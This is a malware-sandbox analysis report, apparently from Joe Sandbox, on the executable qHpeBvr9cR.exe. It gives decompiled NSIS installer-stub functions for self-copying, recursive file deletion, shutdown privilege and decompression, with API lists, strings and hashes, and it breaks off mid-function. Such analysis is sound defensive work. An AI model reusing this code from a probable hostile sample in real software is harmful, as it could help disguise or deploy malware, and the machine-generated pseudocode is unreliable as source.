				if("\"C:\\Users\\alfons\\Desktop\\qHpeBvr9cR.exe\"" == 0x22) {
					 *((char*)(_t121 + 0x14)) = 0x22;
					_t47 =  &M0042A001;
				}
				_t49 = CharNextA(E00405819(_t47,  *((intOrPtr*)(_t121 + 0x14))));
				 *(_t121 + 0x1c) = _t49;
				while(1) {
					_t103 =  *_t49;
					_t125 = _t103;
					if(_t103 == 0) {
						break;
					}
					__eflags = _t103 - 0x20;
					if(_t103 != 0x20) {
						L8:
						__eflags =  *_t49 - 0x22;
						 *((char*)(_t121 + 0x14)) = 0x20;
						if( *_t49 == 0x22) {
							_t49 = _t49 + 1;
							__eflags = _t49;
							 *((char*)(_t121 + 0x14)) = 0x22;
						}
						__eflags =  *_t49 - 0x2f;
						if( *_t49 != 0x2f) {
							L18:
							_t49 = E00405819(_t49,  *((intOrPtr*)(_t121 + 0x14)));
							__eflags =  *_t49 - 0x22;
							if(__eflags == 0) {
								_t49 = _t49 + 1;
								__eflags = _t49;
							}
							continue;
						} else {
							_t49 = _t49 + 1;
							__eflags =  *_t49 - 0x53;
							if( *_t49 == 0x53) {
								__eflags = ( *(_t49 + 1) | 0x00000020) - 0x20;
								if(( *(_t49 + 1) | 0x00000020) == 0x20) {
									_t110 = _t110 | 0x00000002;
									__eflags = _t110;
								}
							}
							__eflags =  *_t49 - 0x4352434e;
							if( *_t49 == 0x4352434e) {
								__eflags = ( *(_t49 + 4) | 0x00000020) - 0x20;
								if(( *(_t49 + 4) | 0x00000020) == 0x20) {
									_t110 = _t110 | 0x00000004;
									__eflags = _t110;
								}
							}
							__eflags =  *((intOrPtr*)(_t49 - 2)) - 0x3d442f20;
							if( *((intOrPtr*)(_t49 - 2)) == 0x3d442f20) {
								 *((intOrPtr*)(_t49 - 2)) = 0;
								__eflags = _t49 + 2;
								E00405CFB("C:\\Users\\alfons\\AppData\\Local\\Temp", _t49 + 2);
								L23:
								_t108 = "C:\\Users\\alfons\\AppData\\Local\\Temp\\";
								GetTempPathA(0x400, _t108);
								_t53 = E0040321E(_t125);
								_t126 = _t53;
								if(_t53 != 0) {
									L25:
									DeleteFileA("1033"); // executed
									_t55 = E00402C88(_t127, _t110); // executed
									 *((intOrPtr*)(_t121 + 0x10)) = _t55;
									if(_t55 != 0) {
										L35:
										ExitProcess(); // executed
										__imp__OleUninitialize(); // executed
										_t134 =  *((intOrPtr*)(_t121 + 0x10));
										if( *((intOrPtr*)(_t121 + 0x10)) == 0) {
											__eflags =  *0x424014;
											if( *0x424014 == 0) {
												L62:
												_t56 =  *0x42402c;
												__eflags = _t56 - 0xffffffff;
												if(_t56 != 0xffffffff) {
													 *(_t121 + 0x18) = _t56;
												}
												ExitProcess( *(_t121 + 0x18));
											}
											_t118 = E00406087(5);
											_t111 = E00406087(6);
											_t59 = E00406087(7);
											__eflags = _t118;
											_t109 = _t59;
											if(_t118 != 0) {
												__eflags = _t111;
												if(_t111 != 0) {
													__eflags = _t109;
													if(_t109 != 0) {
														_t66 =  *_t118(GetCurrentProcess(), 0x28, _t121 + 0x1c);
														__eflags = _t66;
														if(_t66 != 0) {
															 *_t111(0, "SeShutdownPrivilege", _t121 + 0x24);
															 *(_t121 + 0x38) = 1;
															 *(_t121 + 0x44) = 2;
															 *_t109( *((intOrPtr*)(_t121 + 0x30)), 0, _t121 + 0x28, 0, 0, 0);
														}
													}
												}
											}
											_t60 = E00406087(8);
											__eflags = _t60;
											if(_t60 == 0) {
												L60:
												_t61 = ExitWindowsEx(2, 0x80040002);
												__eflags = _t61;
												if(_t61 != 0) {
													goto L62;
												}
												goto L61;
											} else {
												_t63 =  *_t60(0, 0, 0, 0x25, 0x80040002);
												__eflags = _t63;
												if(_t63 == 0) {
													L61:
													E0040140B(9);
													goto L62;
												}
												goto L60;
											}
										}
										E004055BC( *((intOrPtr*)(_t121 + 0x14)), 0x200010);
										ExitProcess(2);
									}
									if( *0x423f9c == 0) {
										L34:
										 *0x42402c =  *0x42402c | 0xffffffff;
										 *(_t121 + 0x18) = E0040374E( *0x42402c);
										goto L35;
									}
									_t115 = E00405819(_t117, 0);
									while(_t115 >= _t117) {
										__eflags =  *_t115 - 0x3d3f5f20;
										if(__eflags == 0) {
											break;
										}
										_t115 = _t115 - 1;
										__eflags = _t115;
									}
									_t131 = _t115 - _t117;
									 *((intOrPtr*)(_t121 + 0x10)) = "Error launching installer";
									if(_t115 < _t117) {
										_t113 = E00405543(_t134);
										lstrcatA(_t108, "~nsu");
										if(_t113 != 0) {
											lstrcatA(_t108, "A");
										}
										lstrcatA(_t108, ".tmp");
										_t119 = "C:\\Users\\alfons\\Desktop";
										if(lstrcmpiA(_t108, "C:\\Users\\alfons\\Desktop") != 0) {
											_push(_t108);
											if(_t113 == 0) {
												E00405526();
											} else {
												E004054A9();
											}
											SetCurrentDirectoryA(_t108);
											_t138 = "C:\\Users\\alfons\\AppData\\Local\\Temp"; // 0x43
											if(_t138 == 0) {
												E00405CFB("C:\\Users\\alfons\\AppData\\Local\\Temp", _t119);
											}
											E00405CFB(0x425000,  *(_t121 + 0x1c));
											 *0x425400 = 0x41;
											_t120 = 0x1a;
											do {
												E00405D1D(0, _t108, 0x41f138, 0x41f138,  *((intOrPtr*)( *0x423f90 + 0x120)));
												DeleteFileA(0x41f138);
												if( *((intOrPtr*)(_t121 + 0x10)) != 0) {
													_t83 = CopyFileA("C:\\Users\\alfons\\Desktop\\qHpeBvr9cR.exe", 0x41f138, 1);
													_t140 = _t83;
													if(_t83 != 0) {
														_push(0);
														_push(0x41f138);
														E00405A49(_t140);
														E00405D1D(0, _t108, 0x41f138, 0x41f138,  *((intOrPtr*)( *0x423f90 + 0x124)));
														_t87 = E0040555B(0x41f138);
														if(_t87 != 0) {
															CloseHandle(_t87);
															 *((intOrPtr*)(_t121 + 0x10)) = 0;
														}
													}
												}
												 *0x425400 =  *0x425400 + 1;
												_t120 = _t120 - 1;
												_t142 = _t120;
											} while (_t120 != 0);
											_push(0);
											_push(_t108);
											E00405A49(_t142);
										}
										goto L35;
									}
									 *_t115 = 0;
									_t116 = _t115 + 4;
									if(E004058CF(_t131, _t115 + 4) == 0) {
										goto L35;
									}
									E00405CFB("C:\\Users\\alfons\\AppData\\Local\\Temp", _t116);
									E00405CFB("C:\\Users\\alfons\\AppData\\Local\\Temp", _t116);
									 *((intOrPtr*)(_t121 + 0x10)) = 0;
									goto L34;
								}
								GetWindowsDirectoryA(_t108, 0x3fb);
								lstrcatA(_t108, "\\Temp");
								_t99 = E0040321E(_t126);
								_t127 = _t99;
								if(_t99 == 0) {
									goto L35;
								}
								goto L25;
							} else {
								goto L18;
							}
						}
					} else {
						goto L7;
					}
					do {
						L7:
						_t49 = _t49 + 1;
						__eflags =  *_t49 - 0x20;
					} while ( *_t49 == 0x20);
					goto L8;
				}
				goto L23;
			}

0x00403260
0x00403264
0x0040326c
0x0040326e
0x00403273
0x00403283
0x00403286
0x0040328d
0x00403294
0x00403294
0x0040328d
0x0040329b
0x004032a5
0x004032af
0x004032b6
0x004032bd
0x004032c2
0x004032c7
0x004032ce
0x004032d4
0x004032ea
0x004032fa
0x004032ff
0x00403305
0x0040330c
0x0040331f
0x00403324
0x00403326
0x00403328
0x0040332d
0x0040332d
0x0040333d
0x00403343
0x004033ac
0x004033ac
0x004033ae
0x004033b0
0x00000000
0x00000000
0x00403349
0x0040334c
0x00403354
0x00403354
0x00403357
0x0040335c
0x0040335e
0x0040335e
0x0040335f
0x0040335f
0x00403364
0x00403367
0x0040339c
0x004033a1
0x004033a6
0x004033a9
0x004033ab
0x004033ab
0x004033ab
0x00000000
0x00403369
0x00403369
0x0040336a
0x0040336d
0x00403375
0x00403378
0x0040337a
0x0040337a
0x0040337a
0x00403378
0x0040337d
0x00403383
0x0040338b
0x0040338e
0x00403390
0x00403390
0x00403390
0x0040338e
0x00403393
0x0040339a
0x004033b4
0x004033b7
0x004033c0
0x004033c5
0x004033c5
0x004033d0
0x004033d6
0x004033db
0x004033dd
0x004033ff
0x00403404
0x0040340b
0x00403412
0x00403416
0x0040347d
0x0040347d
0x00403482
0x00403488
0x0040348c
0x004035a1
0x004035a7
0x00403644
0x00403644
0x00403649
0x0040364c
0x0040364e
0x0040364e
0x00403656
0x00403656
0x004035b6
0x004035bf
0x004035c1
0x004035c6
0x004035c8
0x004035ca
0x004035cc
0x004035ce
0x004035d0
0x004035d2
0x004035e2
0x004035e4
0x004035e6
0x004035f3
0x00403602
0x0040360a
0x00403612
0x00403612
0x004035e6
0x004035d2
0x004035ce
0x00403616
0x0040361b
0x00403622
0x00403630
0x00403633
0x00403639
0x0040363b
0x00000000
0x00000000
0x00000000
0x00403624
0x0040362a
0x0040362c
0x0040362e
0x0040363d
0x0040363f
0x00000000
0x0040363f
0x00000000
0x0040362e
0x00403622
0x0040349b
0x004034a2
0x004034a2
0x0040341e
0x0040346d
0x0040346d
0x00403479
0x00000000
0x00403479
0x00403427
0x00403434
0x0040342b
0x00403431
0x00000000
0x00000000
0x00403433
0x00403433
0x00403433
0x00403438
0x0040343a
0x00403442
0x004034b3
0x004034b5
0x004034bc
0x004034c4
0x004034c4
0x004034cf
0x004034d4
0x004034e3
0x004034e7
0x004034e8
0x004034f1
0x004034ea
0x004034ea
0x004034ea
0x004034f7
0x004034fd
0x00403503
0x0040350b
0x0040350b
0x00403519
0x00403520
0x00403529
0x0040352f
0x0040353b
0x00403541
0x0040354b
0x00403555
0x0040355b
0x0040355d
0x0040355f
0x00403560
0x00403561
0x00403572
0x00403578
0x0040357f
0x00403582
0x00403588
0x00403588
0x0040357f
0x0040355d
0x0040358c
0x00403592
0x00403592
0x00403592
0x00403595
0x00403596
0x00403597
0x00403597
0x00000000
0x004034e3
0x00403444
0x00403446
0x00403451
0x00000000
0x00000000
0x00403459
0x00403464
0x00403469
0x00000000
0x00403469
0x004033e5
0x004033f1
0x004033f6
0x004033fb
0x004033fd
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040339a
0x00000000
0x00000000
0x00000000
0x0040334e
0x0040334e
0x0040334e
0x0040334f
0x0040334f
0x00000000
0x0040334e
0x00000000

APIs

SetErrorMode.KERNELBASE ref: 00403273
GetVersion.KERNEL32 ref: 00403279
#17.COMCTL32(0000000B,0000000D,SETUPAPI,USERENV,UXTHEME), ref: 004032C7
OleInitialize.OLE32(00000000), ref: 004032CE
SHGetFileInfoA.SHELL32(0041F538,00000000,?,00000160,00000000), ref: 004032EA
GetCommandLineA.KERNEL32(00423780,NSIS Error), ref: 004032FF
GetModuleHandleA.KERNEL32(00000000,"C:\Users\user\Desktop\qHpeBvr9cR.exe",00000000), ref: 00403312
CharNextA.USER32(00000000,"C:\Users\user\Desktop\qHpeBvr9cR.exe",00409130), ref: 0040333D
GetTempPathA.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020), ref: 004033D0
GetWindowsDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 004033E5
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004033F1
DeleteFileA.KERNELBASE(1033), ref: 00403404

Part of subcall function 00406087: GetModuleHandleA.KERNEL32(?,?,00000000,004032BB,0000000D,SETUPAPI,USERENV,UXTHEME), ref: 00406099
Part of subcall function 00406087: GetProcAddress.KERNEL32(00000000,?), ref: 004060B4

ExitProcess.KERNEL32(00000000), ref: 0040347D
OleUninitialize.OLE32(00000000), ref: 00403482
ExitProcess.KERNEL32 ref: 004034A2
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\qHpeBvr9cR.exe",00000000,00000000), ref: 004034B5
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,004091AC,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\qHpeBvr9cR.exe",00000000,00000000), ref: 004034C4
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\qHpeBvr9cR.exe",00000000,00000000), ref: 004034CF
lstrcmpiA.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\qHpeBvr9cR.exe",00000000,00000000), ref: 004034DB
SetCurrentDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 004034F7
DeleteFileA.KERNEL32(0041F138,0041F138,?,00425000,?), ref: 00403541
CopyFileA.KERNEL32(C:\Users\user\Desktop\qHpeBvr9cR.exe,0041F138,00000001), ref: 00403555
CloseHandle.KERNEL32(00000000,0041F138,0041F138,?,0041F138,00000000), ref: 00403582
GetCurrentProcess.KERNEL32(00000028,?,00000007,00000006,00000005), ref: 004035DB
ExitWindowsEx.USER32(00000002,80040002), ref: 00403633
ExitProcess.KERNEL32 ref: 00403656

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 004033BB, 00403454, 004034FD, 00403506
C:\Users\user\AppData\Local\Temp\, xrefs: 004033C5, 004033CA, 004033E4, 004033F0, 004034B2, 004034C3, 004034CE, 004034DA, 004034E7, 004034F6, 00403596
C:\Users\user\AppData\Local\Temp, xrefs: 0040345F
SETUPAPI, xrefs: 004032AA
C:\Users\user\Desktop, xrefs: 004034D4, 004034D9, 00403505
_?=, xrefs: 0040342B
, xrefs: 0040326E
1033, xrefs: 004033FF
Error launching installer, xrefs: 0040343A
SeShutdownPrivilege, xrefs: 004035ED
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00403264
NSIS Error, xrefs: 004032F0
.tmp, xrefs: 004034C9
C:\Users\user\Desktop\qHpeBvr9cR.exe, xrefs: 00403550
\Temp, xrefs: 004033EB
NCRC, xrefs: 0040337D
USERENV, xrefs: 004032A0
/D=, xrefs: 00403393
"C:\Users\user\Desktop\qHpeBvr9cR.exe", xrefs: 00403305, 0040330B, 00403421
UXTHEME, xrefs: 00403296
~nsu, xrefs: 004034AD
", xrefs: 0040335F

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: ExitFileProcesslstrcat$Handle$CurrentDeleteDirectoryModuleWindows$AddressCharCloseCommandCopyErrorInfoInitializeLineModeNextPathProcTempUninitializeVersionlstrcmpi
String ID: $ /D=$ _?=$"$"C:\Users\user\Desktop\qHpeBvr9cR.exe"$.tmp$1033$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\qHpeBvr9cR.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$NCRC$NSIS Error$SETUPAPI$SeShutdownPrivilege$USERENV$UXTHEME$\Temp$~nsu
API String ID: 2193684524-1196155684
Opcode ID: 04a921f9e0ed42acd1cb95c7a244a34336158986e025354fe7f9aad2ed634273
Instruction ID: fae095d870e6aa7b2133663338cad99947a58f50826f320776521e81424d7011
Opcode Fuzzy Hash: 04a921f9e0ed42acd1cb95c7a244a34336158986e025354fe7f9aad2ed634273
Instruction Fuzzy Hash: 19A1D370A083417AE7217F619C4AB2B7EAC9B4170AF54053FF881761D2CB7C9E058A6F

Uniqueness

Uniqueness Score: -1.00%

Function 00405620 Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 156
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E00405620(void* __ebx, void* __eflags, void* _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				struct _WIN32_FIND_DATAA _v332;
				signed int _t37;
				char* _t49;
				signed int _t52;
				signed int _t55;
				signed int _t61;
				signed int _t63;
				void* _t65;
				signed int _t68;
				CHAR* _t70;
				CHAR* _t72;
				char* _t75;

				_t72 = _a4;
				_t37 = E004058CF(__eflags, _t72);
				_v12 = _t37;
				if((_a8 & 0x00000008) != 0) {
					_t63 = DeleteFileA(_t72); // executed
					asm("sbb eax, eax");
					_t65 =  ~_t63 + 1;
					 *0x424008 =  *0x424008 + _t65;
					return _t65;
				}
				_t68 = _a8 & 0x00000001;
				__eflags = _t68;
				_v8 = _t68;
				if(_t68 == 0) {
					L5:
					E00405CFB(0x421588, _t72);
					__eflags = _t68;
					if(_t68 == 0) {
						E00405835(_t72);
					} else {
						lstrcatA(0x421588, "\*.*");
					}
					__eflags =  *_t72;
					if( *_t72 != 0) {
						L10:
						lstrcatA(_t72, 0x409010);
						L11:
						_t70 =  &(_t72[lstrlenA(_t72)]); // executed
						_t37 = FindFirstFileA(0x421588,  &_v332); // executed
						__eflags = _t37 - 0xffffffff;
						_a4 = _t37;
						if(_t37 == 0xffffffff) {
							L29:
							__eflags = _v8;
							if(_v8 != 0) {
								_t31 = _t70 - 1;
								 *_t31 =  *(_t70 - 1) & 0x00000000;
								__eflags =  *_t31;
							}
							goto L31;
						} else {
							goto L12;
						}
						do {
							L12:
							_t75 =  &(_v332.cFileName);
							_t49 = E00405819( &(_v332.cFileName), 0x3f);
							__eflags =  *_t49;
							if( *_t49 != 0) {
								__eflags = _v332.cAlternateFileName;
								if(_v332.cAlternateFileName != 0) {
									_t75 =  &(_v332.cAlternateFileName);
								}
							}
							__eflags =  *_t75 - 0x2e;
							if( *_t75 != 0x2e) {
								L19:
								E00405CFB(_t70, _t75);
								__eflags = _v332.dwFileAttributes & 0x00000010;
								if((_v332.dwFileAttributes & 0x00000010) == 0) {
									E004059B3(_t72);
									_t52 = DeleteFileA(_t72);
									__eflags = _t52;
									if(_t52 != 0) {
										E00404FE7(0xfffffff2, _t72);
									} else {
										__eflags = _a8 & 0x00000004;
										if((_a8 & 0x00000004) == 0) {
											 *0x424008 =  *0x424008 + 1;
										} else {
											E00404FE7(0xfffffff1, _t72);
											_push(0);
											_push(_t72);
											E00405A49(__eflags);
										}
									}
								} else {
									__eflags = (_a8 & 0x00000003) - 3;
									if(__eflags == 0) {
										E00405620(_t70, __eflags, _t72, _a8);
									}
								}
								goto L27;
							}
							_t61 =  *((intOrPtr*)(_t75 + 1));
							__eflags = _t61;
							if(_t61 == 0) {
								goto L27;
							}
							__eflags = _t61 - 0x2e;
							if(_t61 != 0x2e) {
								goto L19;
							}
							__eflags =  *((char*)(_t75 + 2));
							if( *((char*)(_t75 + 2)) == 0) {
								goto L27;
							}
							goto L19;
							L27:
							_t55 = FindNextFileA(_a4,  &_v332); // executed
							__eflags = _t55;
						} while (_t55 != 0);
						_t37 = FindClose(_a4); // executed
						goto L29;
					}
					__eflags =  *0x421588 - 0x5c;
					if( *0x421588 != 0x5c) {
						goto L11;
					}
					goto L10;
				} else {
					__eflags = _t37;
					if(_t37 == 0) {
						L31:
						__eflags = _v8;
						if(_v8 == 0) {
							L39:
							return _t37;
						}
						__eflags = _v12;
						if(_v12 != 0) {
							_t37 = E00405FF6(_t72);
							__eflags = _t37;
							if(_t37 == 0) {
								goto L39;
							}
							E004057EE(_t72);
							E004059B3(_t72);
							_t37 = RemoveDirectoryA(_t72); // executed
							__eflags = _t37;
							if(_t37 != 0) {
								return E00404FE7(0xffffffe5, _t72);
							}
							__eflags = _a8 & 0x00000004;
							if((_a8 & 0x00000004) == 0) {
								goto L33;
							}
							E00404FE7(0xfffffff1, _t72);
							_push(0);
							_push(_t72);
							return E00405A49(__eflags);
						}
						L33:
						 *0x424008 =  *0x424008 + 1;
						return _t37;
					}
					__eflags = _a8 & 0x00000002;
					if((_a8 & 0x00000002) == 0) {
						goto L31;
					}
					goto L5;
				}
			}

0x0040562b
0x0040562f
0x00405638
0x0040563b
0x0040563e
0x00405646
0x00405648
0x00405649
0x00000000
0x00405649
0x00405658
0x00405658
0x0040565b
0x0040565e
0x00405672
0x00405679
0x0040567e
0x00405680
0x00405690
0x00405682
0x00405688
0x00405688
0x00405695
0x00405698
0x004056a3
0x004056a9
0x004056ae
0x004056be
0x004056c0
0x004056c6
0x004056c9
0x004056cc
0x00405789
0x00405789
0x0040578d
0x0040578f
0x0040578f
0x0040578f
0x0040578f
0x00000000
0x00000000
0x00000000
0x00000000
0x004056d2
0x004056d2
0x004056db
0x004056e1
0x004056e6
0x004056e9
0x004056eb
0x004056ef
0x004056f1
0x004056f1
0x004056ef
0x004056f4
0x004056f7
0x0040570a
0x0040570c
0x00405711
0x00405718
0x00405730
0x00405736
0x0040573c
0x0040573e
0x00405763
0x00405740
0x00405740
0x00405744
0x00405758
0x00405746
0x00405749
0x0040574e
0x00405750
0x00405751
0x00405751
0x00405744
0x0040571a
0x00405720
0x00405722
0x00405728
0x00405728
0x00405722
0x00000000
0x00405718
0x004056f9
0x004056fc
0x004056fe
0x00000000
0x00000000
0x00405700
0x00405702
0x00000000
0x00000000
0x00405704
0x00405708
0x00000000
0x00000000
0x00000000
0x00405768
0x00405772
0x00405778
0x00405778
0x00405783
0x00000000
0x00405783
0x0040569a
0x004056a1
0x00000000
0x00000000
0x00000000
0x00405660
0x00405660
0x00405662
0x00405793
0x00405796
0x00405799
0x004057eb
0x004057eb
0x004057eb
0x0040579b
0x0040579e
0x004057a9
0x004057ae
0x004057b0
0x00000000
0x00000000
0x004057b3
0x004057b9
0x004057bf
0x004057c5
0x004057c7
0x00000000
0x004057e3
0x004057c9
0x004057cd
0x00000000
0x00000000
0x004057d2
0x004057d7
0x004057d8
0x00000000
0x004057d9
0x004057a0
0x004057a0
0x00000000
0x004057a0
0x00405668
0x0040566c
0x00000000
0x00000000
0x00000000
0x0040566c

APIs

DeleteFileA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\,766DF560), ref: 0040563E
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsx95CD.tmp\*.*,\*.*,C:\Users\user\AppData\Local\Temp\nsx95CD.tmp\*.*,?,00000000,?,C:\Users\user\AppData\Local\Temp\,766DF560), ref: 00405688
lstrcatA.KERNEL32(?,00409010,?,C:\Users\user\AppData\Local\Temp\nsx95CD.tmp\*.*,?,00000000,?,C:\Users\user\AppData\Local\Temp\,766DF560), ref: 004056A9
lstrlenA.KERNEL32(?,?,00409010,?,C:\Users\user\AppData\Local\Temp\nsx95CD.tmp\*.*,?,00000000,?,C:\Users\user\AppData\Local\Temp\,766DF560), ref: 004056AF
FindFirstFileA.KERNELBASE(C:\Users\user\AppData\Local\Temp\nsx95CD.tmp\*.*,?,?,?,00409010,?,C:\Users\user\AppData\Local\Temp\nsx95CD.tmp\*.*,?,00000000,?,C:\Users\user\AppData\Local\Temp\,766DF560), ref: 004056C0
FindNextFileA.KERNELBASE(?,00000010,000000F2,?), ref: 00405772
FindClose.KERNELBASE(?), ref: 00405783

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040562A
C:\Users\user\AppData\Local\Temp\nsx95CD.tmp\*.*, xrefs: 00405672, 00405678, 00405687, 004056BD
"C:\Users\user\Desktop\qHpeBvr9cR.exe", xrefs: 00405620
\*.*, xrefs: 00405682

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\qHpeBvr9cR.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\nsx95CD.tmp\*.*$\*.*
API String ID: 2035342205-841501831
Opcode ID: f86e9ddd3e1e879dd2542da8a59e5ce314f469bed3f41f99a782128c1842a273
Instruction ID: d22bf5e118ddec5917fccaaf7686bbc93ae223f9f66f108bf4c644a40ea6f6a4
Opcode Fuzzy Hash: f86e9ddd3e1e879dd2542da8a59e5ce314f469bed3f41f99a782128c1842a273
Instruction Fuzzy Hash: 5C510630404B44A6DB217B218C85BBF7AA8DF92319F14817BF945B61D1C73C4982EE6E

Uniqueness

Uniqueness Score: -1.00%

Function 00406333 Relevance: 5.4, APIs: 4, Instructions: 382
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E00406333() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				void* _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t590;
				signed int* _t607;
				void* _t614;

				L0:
				while(1) {
					L0:
					if( *(_t614 - 0x40) != 0) {
						 *(_t614 - 0x34) = 1;
						 *(_t614 - 0x84) = 7;
						_t607 =  *(_t614 - 4) + 0x180 +  *(_t614 - 0x38) * 2;
						L132:
						 *(_t614 - 0x54) = _t607;
						L133:
						_t531 =  *_t607;
						_t590 = _t531 & 0x0000ffff;
						_t565 = ( *(_t614 - 0x10) >> 0xb) * _t590;
						if( *(_t614 - 0xc) >= _t565) {
							 *(_t614 - 0x10) =  *(_t614 - 0x10) - _t565;
							 *(_t614 - 0xc) =  *(_t614 - 0xc) - _t565;
							 *(_t614 - 0x40) = 1;
							_t532 = _t531 - (_t531 >> 5);
							 *_t607 = _t532;
						} else {
							 *(_t614 - 0x10) = _t565;
							 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
							 *_t607 = (0x800 - _t590 >> 5) + _t531;
						}
						if( *(_t614 - 0x10) >= 0x1000000) {
							L139:
							_t533 =  *(_t614 - 0x84);
							L140:
							 *(_t614 - 0x88) = _t533;
							goto L1;
						} else {
							L137:
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 5;
								goto L170;
							}
							 *(_t614 - 0x10) =  *(_t614 - 0x10) << 8;
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
							goto L139;
						}
					} else {
						__eax =  *(__ebp - 0x5c) & 0x000000ff;
						__esi =  *(__ebp - 0x60);
						__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
						__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
						__ecx =  *(__ebp - 0x3c);
						__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
						__ecx =  *(__ebp - 4);
						(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
						__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
						__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
						 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
						if( *(__ebp - 0x38) >= 4) {
							if( *(__ebp - 0x38) >= 0xa) {
								_t97 = __ebp - 0x38;
								 *_t97 =  *(__ebp - 0x38) - 6;
							} else {
								 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
							}
						} else {
							 *(__ebp - 0x38) = 0;
						}
						if( *(__ebp - 0x34) == __edx) {
							__ebx = 0;
							__ebx = 1;
							L60:
							__eax =  *(__ebp - 0x58);
							__edx = __ebx + __ebx;
							__ecx =  *(__ebp - 0x10);
							__esi = __edx + __eax;
